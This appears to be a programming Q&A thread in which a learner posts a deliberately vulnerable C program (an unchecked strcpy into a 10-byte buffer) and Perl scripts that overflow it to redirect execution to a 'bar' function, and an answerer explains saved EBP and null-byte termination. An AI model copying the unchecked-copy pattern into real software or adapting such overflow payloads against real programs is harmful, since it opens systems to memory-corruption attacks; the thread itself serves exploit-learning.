0

I am kinda new to exploit development using buffer overflows. I've come across a sample code in one book I refer to, and the sample code doesn't execute properly. Here is my code...

#pragma check_stack(off)

void foo(const char* input)
{
    char buf[10];
    printf("stack is: \n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n\n");
    strcpy(buf,input);
    printf("%s\n",buf);
    printf("Stack is now:\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n\n");
}

void bar(void)
{
    printf("Hacked");
}
int main(int argc, char* argv[])
{
    printf("Address of foo is %p\n",foo);
    printf("Address of bar is %p\n",bar);
    if(argc!=2)
    {
        printf("Please supply a string as an argument");
        return -1;
    }
    foo(argv[1]);
    return 0;
}

I compile my code using MinGW compiler suite for windows, and when I run the program from the command line, I see output of the stack content.

Address of foo is 00401340

Address of bar is 0040137D

stack is:

00401280

0032D000

0000001B

0060FECC

B76EDE61

0060FFCC

7786D1F0

B76EDBA9

FFFFFFFE

0060FF18

004013F0

Hello

Stack is now:

00710CFA

0032D000

0000001B

0060FECC

6548DE61

006F6C6C

7786D1F0

B76EDBA9

FFFFFFFE

0060FF18

004013F0

So far so good, I get to see the start of my buffer, and also the return address of the function, in this case 0x004013F0. Also, the EBP stands at 0x0060FF18. The problem starts when I supply input that overwrites the EBP. Even when the EBP is overwritten, I get an error and my program crashes. My main aim is to overwrite the return address to get the program execute bar(). I forcibly overwrite the EBP and then also supply input that changes the return address to bar(), bar gets executed, but my program crashes. I've tried a perl script that sends address as compiled input. I craft my input so that the EBP value doesn't change.

$arg="AAAAAAAAAAAAAAAAAA"."\x18\xFF\x60\x00\x7D\x13\x40\x00";
$cmd="ydy ".$arg;
system($cmd);

In this case, the return address doesn't get overwritten. But if I change the address to

$arg="AAAAAAAAAAAAAAAAAA"."\x12\xFF\x60\x00\x7D\x13\x40\x00";
$cmd="sample ".$arg;
system($cmd);

The EBP is overwritten and also return address. bar() is executed but programme crashes. My questions are: 1. Why does EBP corruption causing program crash? I've never known it does. 2. Why isn't the return address getting overwritten in case 1 of the script, but gets overwritten when the crafted input does overwrite EBP?

I know it's long, kindly help me out. Thanks.

0
  1. Why does EBP corruption causing program crash?

The EBP (Extended Base Pointer) register points to the base of the current function's stack frame. Some compilers use it to find local variables within the stack frame. For example, if you have two local ints in your function, the compiler might access them with *(ebp - 4) and *(ebp - 8).

The EBP for the previous function (i.e. the one we will return to) is saved in the current function's stack frame. This is presumably the 0x0060ff18 that you see. If we modify this saved EBP, then the function we return to will have an invalid EBP and will look for local variables in the wrong place (e.g. since *(ebp - 4) now points to a different location).

  1. Why isn't the return address getting overwritten?

I don't think the return address should be overwritten in either case, since your argument contains a null byte (\x00) before the new return address. Null bytes are used to terminate strings in C, so any characters after the first null byte will be ignored.

  • Thanks for the answer, but is the EBP of previous stack frame the address to which we would return to? Isn't it the EIP which is below the EBP in the stack the address to which we would return? In essence, is there a difference between return address and previous stack frame EBP address? But still, my return address gets overwritten when i corrupt the EBP. @grc – Vinay Jul 25 '16 at 15:41
  • @Vinay The EBP register always points to the bottom of the current stack frame - it points to the stack, not code, so you never "return" to that address. The EIP register always points to the next instruction to be executed. When you return from a function, it loads the saved address from the stack into EIP. The return address shouldn't be overwritten - could you post the output of your perl script? – grc Jul 25 '16 at 16:10
  • That was really helped me out buddy, thanks. Here is the output you asked.... – Vinay Jul 26 '16 at 15:58
  • <code>Address of foo is 00401340 Address of bar is 0040137D stack is: 00401280 0032C000 0000001B 0060FECC CEFC5071 0060FFCC 757FD1F0 CEFC55B9 FFFFFFFE 0060FF18 004013F0 AAAAAAAAAAAAAAAAAA `}@ Stack is now: 00AD0CFA 0032C000 0000001B 0060FECC 41415071 41414141 41414141 41414141 41414141 1060FF18 0040137D Hacked</code>..... I gave it input by changing the null byte as you said and it worked. yet the program crashes. Is there a way i could send data so that it doesn't involve the null byte, but gets saved as \x00 in EBP, so that my program wouldn't crash? – Vinay Jul 26 '16 at 16:00
  • @Vinay I don't think there are any easy ways to avoid this. But the important thing is that bar() works fine - crashing after you return execution to the program isn't a big issue. If you were writing an exploit you could restore EBP manually to avoid the crash. – grc Jul 31 '16 at 12:11

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.